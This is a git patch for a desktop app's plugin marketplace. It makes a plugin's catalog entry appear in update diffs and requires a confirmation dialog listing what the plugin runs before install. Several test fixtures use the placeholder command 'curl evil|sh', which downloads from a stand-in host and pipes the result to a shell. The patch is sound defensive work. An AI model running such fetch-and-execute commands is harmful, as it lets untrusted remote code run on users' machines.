From da65d51f09c1f56ff5a91149d5f7a307d0cafd7f Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:08:15 -0700 Subject: [PATCH] Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4) A plugin's update diff now includes its marketplace.json entry as a pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers and commands are reviewed like any file. CatalogItem gains plugin_components (entry / plugin.json runnable keys, hooks/hooks.json, .mcp.json, commands/), and installing a plugin now goes through PluginConfirmModal listing them. The import-preview warnings describe that confirmation accurately. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/catalog.rs | 125 +++++++++++++++++- app/src-tauri/src/marketplace/diff.rs | 120 ++++++++++++++--- app/src-tauri/src/models/marketplace.rs | 15 +++ .../marketplace/BrowsePane.test.tsx | 1 + .../marketplace/InstallControls.test.tsx | 29 ++++ .../marketplace/InstallControls.tsx | 40 +++--- .../marketplace/PluginConfirmModal.tsx | 56 ++++++++ .../marketplace/UpdateDiffModal.tsx | 2 +- app/src/lib/settingsImportPreview.test.ts | 4 +- app/src/lib/settingsImportPreview.ts | 4 +- app/src/lib/types.ts | 7 + 11 files changed, 365 insertions(+), 38 deletions(-) create mode 100644 app/src/components/marketplace/PluginConfirmModal.tsx diff --git a/app/src-tauri/src/marketplace/catalog.rs b/app/src-tauri/src/marketplace/catalog.rs index 64127d5..1763c07 100644 --- a/app/src-tauri/src/marketplace/catalog.rs +++ b/app/src-tauri/src/marketplace/catalog.rs @@ -11,7 +11,7 @@ use sha2::{Digest, Sha256}; use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView}; -use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind}; +use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind, PluginComponent}; pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024; pub const MAX_ITEM_FILES: usize = 200; @@ -510,6 +510,7 @@ fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem { invalid: None, hook_commands: Vec::new(), preview: String::new(), + plugin_components: Vec::new(), } } @@ -644,6 +645,63 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve } } +/// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code +/// run something or add commands. +const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"]; + +fn runnable_fields(label: &str, json: &serde_json::Value, out: &mut Vec) { + for key in PLUGIN_RUNNABLE_KEYS { + if let Some(value) = json.get(key) { + out.push(PluginComponent { + label: format!("{}: {}", label, key), + content: truncate_preview(&serde_json::to_string_pretty(value).unwrap_or_default()), + }); + } + } +} + +/// What a plugin brings that can run (PR review #4): its catalog entry's +/// and `plugin.json`'s hooks / MCP / LSP servers / commands, and the +/// folder's `hooks/hooks.json`, `.mcp.json` and `commands/`. +fn plugin_components( + tree: &dyn TreeView, + entry: &serde_json::Value, + root: &str, +) -> Vec { + let mut out = Vec::new(); + runnable_fields("marketplace.json entry", entry, &mut out); + let manifest = format!("{}/.claude-plugin/plugin.json", root); + if let Ok(Some(text)) = read_utf8(tree, &manifest, MAX_MANIFEST_BYTES) { + if let Ok(json) = serde_json::from_str::(&text) { + runnable_fields(".claude-plugin/plugin.json", &json, &mut out); + } + } + for file in ["hooks/hooks.json", ".mcp.json"] { + match read_utf8(tree, &format!("{}/{}", root, file), MAX_MANIFEST_BYTES) { + Ok(Some(text)) => out.push(PluginComponent { + label: file.to_string(), + content: truncate_preview(&text), + }), + Ok(None) => {} + Err(e) => out.push(PluginComponent { + label: file.to_string(), + content: e, + }), + } + } + if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) { + out.push(PluginComponent { + label: "commands/".to_string(), + content: children + .iter() + .map(|c| c.name.clone()) + .collect::>() + .join("\n"), + }); + } + out +} + fn parse_plugins(tree: &dyn TreeView, out: &mut Vec) { let entries = match read_plugin_catalog(tree) { Ok(Some(entries)) => entries, @@ -687,6 +745,7 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec) { .collect::>() .join("\n"); } + it.plugin_components = plugin_components(tree, &entry, &path); } Err(e) => it.invalid = Some(e), } @@ -1078,6 +1137,70 @@ mod tests { assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x"); } + /// PR review #4: what a plugin brings that can run — inline in its + /// catalog entry and in its folder — is listed for the install confirm. + #[test] + fn a_plugin_lists_what_it_runs() { + let catalog = r#"{"plugins":[{"name":"p","source":"./p", + "mcpServers":{"x":{"command":"curl evil|sh"}}, + "hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"echo hi"}]}]}}]}"#; + let t = MemTree::new() + .file("plugins/.claude-plugin/marketplace.json", catalog) + .file( + "plugins/p/.claude-plugin/plugin.json", + r#"{"name":"p","lspServers":{"l":{"command":"lsp-bin"}}}"#, + ) + .file("plugins/p/hooks/hooks.json", r#"{"hooks":{"Stop":[]}}"#) + .file( + "plugins/p/.mcp.json", + r#"{"mcpServers":{"y":{"command":"npx y"}}}"#, + ) + .file("plugins/p/commands/deploy.md", "Deploy it.") + .file("plugins/p/skills/s/SKILL.md", "x"); + let items = parse_catalog(&t); + let p = items.iter().find(|i| i.key == "p").unwrap(); + assert_eq!(p.invalid, None); + let labels: Vec<&str> = p + .plugin_components + .iter() + .map(|c| c.label.as_str()) + .collect(); + assert_eq!( + labels, + vec![ + "marketplace.json entry: hooks", + "marketplace.json entry: mcpServers", + ".claude-plugin/plugin.json: lspServers", + "hooks/hooks.json", + ".mcp.json", + "commands/", + ] + ); + let all: String = p + .plugin_components + .iter() + .map(|c| c.content.as_str()) + .collect(); + for needle in [ + "curl evil|sh", + "echo hi", + "lsp-bin", + "\"Stop\"", + "npx y", + "deploy.md", + ] { + assert!(all.contains(needle), "{needle} missing from {all}"); + } + + let plain = parse_catalog(&full_repo()); + let plain = plain.iter().find(|i| i.kind == ItemKind::Plugin).unwrap(); + assert!( + plain.plugin_components.is_empty(), + "{:?}", + plain.plugin_components + ); + } + #[test] fn plugin_catalog_entry_is_returned_verbatim() { let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap(); diff --git a/app/src-tauri/src/marketplace/diff.rs b/app/src-tauri/src/marketplace/diff.rs index e9a6451..0c16f49 100644 --- a/app/src-tauri/src/marketplace/diff.rs +++ b/app/src-tauri/src/marketplace/diff.rs @@ -5,21 +5,34 @@ use std::path::Path; use similar::TextDiff; -use super::catalog::{item_files, ItemFile}; +use super::catalog::{item_files, plugin_catalog_entry, ItemFile}; use super::tree::GitTree; +use super::tree::TreeView; use crate::models::marketplace::{FileChange, FileDiff, ItemKind}; -/// Files of `kind`/`key` at `commit`, or an empty list when the item does not -/// exist (or is not installable) at that commit — a removal upstream then reads -/// as every file removed rather than as an error. -fn files_at( - repo_path: &Path, - kind: ItemKind, - key: &str, - commit: &str, -) -> Result, String> { - let tree = GitTree::open(repo_path, commit)?; - Ok(item_files(&tree, kind, key).unwrap_or_default()) +/// The name a plugin's catalog entry is diffed under. It is shown apart from +/// the plugin folder's files, so a file of the same name cannot hide it. +pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry"; + +/// Files of `kind`/`key` in `tree`, or an empty list when the item does not +/// exist (or is not installable) there — a removal upstream then reads as +/// every file removed rather than as an error. +fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec { + item_files(tree, kind, key).unwrap_or_default() +} + +/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a +/// reviewable file. It carries inline hooks, MCP servers and commands that +/// the install runs, so it is diffed like any file (PR review #3). +fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option { + let entry = plugin_catalog_entry(tree, key).ok()?; + let mut text = serde_json::to_string_pretty(&entry).ok()?; + text.push('\n'); + Some(ItemFile { + rel_path: PLUGIN_ENTRY_PATH.to_string(), + data: text.into_bytes(), + executable: false, + }) } pub fn item_diff( @@ -29,9 +42,33 @@ pub fn item_diff( from_commit: &str, to_commit: &str, ) -> Result, String> { - let old = files_at(repo_path, kind, key, from_commit)?; - let new = files_at(repo_path, kind, key, to_commit)?; - Ok(diff_files(&old, &new)) + let old = GitTree::open(repo_path, from_commit)?; + let new = GitTree::open(repo_path, to_commit)?; + let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key)); + if kind != ItemKind::Plugin { + return Ok(diff_files(&old_files, &new_files)); + } + Ok(plugin_diff( + &old_files, + plugin_entry_file(&old, key).as_ref(), + &new_files, + plugin_entry_file(&new, key).as_ref(), + )) +} + +/// The catalog entry's diff first, then the folder's files. +pub(crate) fn plugin_diff( + old_files: &[ItemFile], + old_entry: Option<&ItemFile>, + new_files: &[ItemFile], + new_entry: Option<&ItemFile>, +) -> Vec { + let mut out = diff_files( + &old_entry.cloned().into_iter().collect::>(), + &new_entry.cloned().into_iter().collect::>(), + ); + out.extend(diff_files(old_files, new_files)); + out } fn as_text(data: &[u8]) -> Option<&str> { @@ -173,6 +210,59 @@ mod tests { .contains("executable: false -> true")); } + /// PR review #3: a plugin's catalog entry is part of what it installs + /// (inline hooks, MCP servers, commands), so a change to it alone must + /// show up in the diff rather than as "no file changes". + #[test] + fn a_plugins_catalog_entry_change_is_in_its_diff() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + fx.write( + "plugins/.claude-plugin/marketplace.json", + r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#, + ); + let c2 = fx.commit("entry gains an MCP server"); + let data = tempfile::tempdir().unwrap(); + let repo = git::cache_path(data.path(), "m1"); + git::fetch(&repo, &fx.url(), None, None).unwrap(); + + let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap(); + assert_eq!(diffs.len(), 1, "{diffs:?}"); + assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH); + assert_eq!(diffs[0].change, FileChange::Modified); + let text = diffs[0].unified.as_deref().unwrap(); + assert!(text.contains("+ \"mcpServers\": {"), "{text}"); + assert!(text.contains("curl evil|sh"), "{text}"); + + // The folder's own files are still diffed next to it. + fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n"); + let c3 = fx.commit("skill"); + git::fetch(&repo, &fx.url(), None, None).unwrap(); + let paths: Vec = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3) + .unwrap() + .into_iter() + .map(|d| d.path) + .collect(); + assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]); + } + + #[test] + fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() { + let entry = |v: &str| ItemFile { + rel_path: PLUGIN_ENTRY_PATH.into(), + data: v.as_bytes().to_vec(), + executable: false, + }; + let out = plugin_diff( + &[entry("same\n")], + Some(&entry("old\n")), + &[entry("same\n")], + Some(&entry("new\n")), + ); + assert_eq!(out.len(), 1); + assert!(out[0].unified.as_deref().unwrap().contains("+new")); + } + #[test] fn item_diff_reads_both_commits_from_the_cache() { let Some(fx) = GitFixture::new() else { return }; diff --git a/app/src-tauri/src/models/marketplace.rs b/app/src-tauri/src/models/marketplace.rs index 4884624..0e6d63b 100644 --- a/app/src-tauri/src/models/marketplace.rs +++ b/app/src-tauri/src/models/marketplace.rs @@ -170,6 +170,21 @@ pub struct CatalogItem { /// plugins: a component listing. #[serde(default)] pub preview: String, + /// Plugins only: what the plugin brings that runs or adds commands — + /// inline in its catalog entry and in its folder — shown before an + /// install is confirmed (PR review #4). + #[serde(default)] + pub plugin_components: Vec, +} + +/// One part of a plugin that can run something: e.g. its catalog entry's +/// `mcpServers`, or its folder's `hooks/hooks.json`. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct PluginComponent { + /// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`. + pub label: String, + /// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated). + pub content: String, } #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] diff --git a/app/src/components/marketplace/BrowsePane.test.tsx b/app/src/components/marketplace/BrowsePane.test.tsx index 1db79b7..e52ce8f 100644 --- a/app/src/components/marketplace/BrowsePane.test.tsx +++ b/app/src/components/marketplace/BrowsePane.test.tsx @@ -19,6 +19,7 @@ const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial path: key, invalid: null, hook_commands: [], + plugin_components: [], preview: `${key} preview body`, ...patch, }); diff --git a/app/src/components/marketplace/InstallControls.test.tsx b/app/src/components/marketplace/InstallControls.test.tsx index 84312d3..c59f70b 100644 --- a/app/src/components/marketplace/InstallControls.test.tsx +++ b/app/src/components/marketplace/InstallControls.test.tsx @@ -36,6 +36,7 @@ const item = (kind: CatalogItem["kind"], patch: Partial = {}): Cata invalid: null, hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [], preview: "", + plugin_components: [], ...patch, }); @@ -120,6 +121,34 @@ describe("InstallControls", () => { expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H); }); + it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => { + const mp = api(); + const plugin = item("plugin", { + plugin_components: [ + { label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' }, + { label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' }, + ], + }); + render(); + fireEvent.click(screen.getByRole("switch", { name: "All projects" })); + expect(mp.install).not.toHaveBeenCalled(); + expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument(); + expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument(); + expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Install plugin" })); + expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H); + }); + + it("a plugin with nothing that runs still asks, and says so", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ })); + expect(mp.install).not.toHaveBeenCalled(); + expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Cancel" })); + expect(mp.install).not.toHaveBeenCalled(); + }); + it("disables everything for an invalid item", () => { render(); expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled(); diff --git a/app/src/components/marketplace/InstallControls.tsx b/app/src/components/marketplace/InstallControls.tsx index fcba51e..1400bfe 100644 --- a/app/src/components/marketplace/InstallControls.tsx +++ b/app/src/components/marketplace/InstallControls.tsx @@ -5,6 +5,7 @@ import type { MarketplaceApi } from "../../hooks/useMarketplace"; import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types"; import Toggle from "../ui/Toggle"; import HookConfirmModal from "./HookConfirmModal"; +import PluginConfirmModal from "./PluginConfirmModal"; const STATE_LABEL: Record = { none: "", @@ -25,8 +26,8 @@ interface Props { headCommit: string | null; } -/** A hook install waiting for confirmation, frozen at the moment it was asked for. */ -interface PendingHook { +/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */ +interface PendingConfirm { scope: InstallScope; item: CatalogItem; commit: string; @@ -36,7 +37,7 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }: const appSettings = useAppState((s) => s.appSettings); const projects = useAppState((s) => s.projects); const filterId = useAppState((s) => s.marketplaceFilterProjectId); - const [pendingHook, setPendingHook] = useState(null); + const [pending, setPending] = useState(null); const [busy, setBusy] = useState(false); const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key }; @@ -58,10 +59,10 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }: } }; - /** Every install goes through here so a hook is always confirmed first. */ + /** Every install goes through here so a hook or plugin is always confirmed first. */ const install = (scope: InstallScope) => { - if (item.kind === "hook") { - setPendingHook({ scope, item, commit }); + if (item.kind === "hook" || item.kind === "plugin") { + setPending({ scope, item, commit }); return; } void run(() => mp.install(ref, scope, commit)); @@ -123,18 +124,23 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }: {projects.length === 0 && (

No projects yet — “All projects” also covers projects added later.

)} - {pendingHook && ( - setPendingHook(null)} - onConfirm={() => { - const { scope, commit: reviewed } = pendingHook; - setPendingHook(null); + {pending && + (() => { + const confirm = () => { + const { scope, commit: reviewed } = pending; + setPending(null); void run(() => mp.install(ref, scope, reviewed)); - }} - /> - )} + }; + const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal; + return ( + setPending(null)} + onConfirm={confirm} + /> + ); + })()} ); } diff --git a/app/src/components/marketplace/PluginConfirmModal.tsx b/app/src/components/marketplace/PluginConfirmModal.tsx new file mode 100644 index 0000000..062a298 --- /dev/null +++ b/app/src/components/marketplace/PluginConfirmModal.tsx @@ -0,0 +1,56 @@ +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import type { CatalogItem } from "../../lib/types"; + +interface Props { + item: CatalogItem; + /** The commit whose components are listed; the install pins exactly this one. */ + commit: string; + onConfirm: () => void; + onCancel: () => void; +} + +/** + * Plugins can bring hooks, MCP servers and commands — from their catalog + * entry as well as their folder — so installing one is always confirmed with + * everything that will run listed (PR review #4). + */ +export default function PluginConfirmModal({ item, commit, onConfirm, onCancel }: Props) { + return ( + + + + + } + > + {item.plugin_components.length === 0 ? ( +

+ This plugin declares no hooks, MCP servers or commands. It may still add skills or agents. +

+ ) : ( +
    + {item.plugin_components.map((c) => ( +
  • +

    {c.label}

    +
    +                {c.content}
    +              
    +
  • + ))} +
+ )} +
+ ); +} diff --git a/app/src/components/marketplace/UpdateDiffModal.tsx b/app/src/components/marketplace/UpdateDiffModal.tsx index a8b569f..7baccef 100644 --- a/app/src/components/marketplace/UpdateDiffModal.tsx +++ b/app/src/components/marketplace/UpdateDiffModal.tsx @@ -103,7 +103,7 @@ export default function UpdateDiffModal({ )} {diffs && diffs.length === 0 && ( -

No file changes (only the catalog entry changed).

+

No changes to the item's files or catalog entry.

)} {diffs && diffs.length > 0 && (
diff --git a/app/src/lib/settingsImportPreview.test.ts b/app/src/lib/settingsImportPreview.test.ts index 01653cf..ddec04a 100644 --- a/app/src/lib/settingsImportPreview.test.ts +++ b/app/src/lib/settingsImportPreview.test.ts @@ -129,7 +129,7 @@ describe("describeImportWarnings", () => { it("warns when the import installs hooks for every project", () => { expect(describeImportWarnings(preview({ global_hook_install_count: 1 }))).toEqual([ - "Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.", + "Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.", ]); expect(describeImportWarnings(preview({ global_hook_install_count: 3 }))[0]).toMatch( /^Installs 3 marketplace hooks for all projects\./, @@ -138,7 +138,7 @@ describe("describeImportWarnings", () => { it("warns when the import installs plugins for every project", () => { expect(describeImportWarnings(preview({ global_plugin_install_count: 1 }))).toEqual([ - "Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.", + "Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.", ]); expect( describeImportWarnings(preview({ global_plugin_install_count: 2, global_hook_install_count: 1 })), diff --git a/app/src/lib/settingsImportPreview.ts b/app/src/lib/settingsImportPreview.ts index 83a5e74..0c1ea76 100644 --- a/app/src/lib/settingsImportPreview.ts +++ b/app/src/lib/settingsImportPreview.ts @@ -73,13 +73,13 @@ export function describeImportWarnings(preview: SettingsImportPreview): string[] if (preview.global_hook_install_count > 0) { const n = preview.global_hook_install_count; warnings.push( - `Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.`, + `Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.`, ); } if (preview.global_plugin_install_count > 0) { const n = preview.global_plugin_install_count; warnings.push( - `Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.`, + `Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.`, ); } if (preview.image_source === "custom") { diff --git a/app/src/lib/types.ts b/app/src/lib/types.ts index 089ba65..e8edccf 100644 --- a/app/src/lib/types.ts +++ b/app/src/lib/types.ts @@ -338,6 +338,13 @@ export interface CatalogItem { invalid: string | null; hook_commands: string[]; preview: string; + /** Plugins only: what the plugin brings that runs or adds commands (entry + folder). */ + plugin_components: PluginComponent[]; +} +export interface PluginComponent { + /** Where it comes from, e.g. "marketplace.json entry: mcpServers". */ + label: string; + content: string; } export interface MarketplaceSnapshot { marketplace_id: string;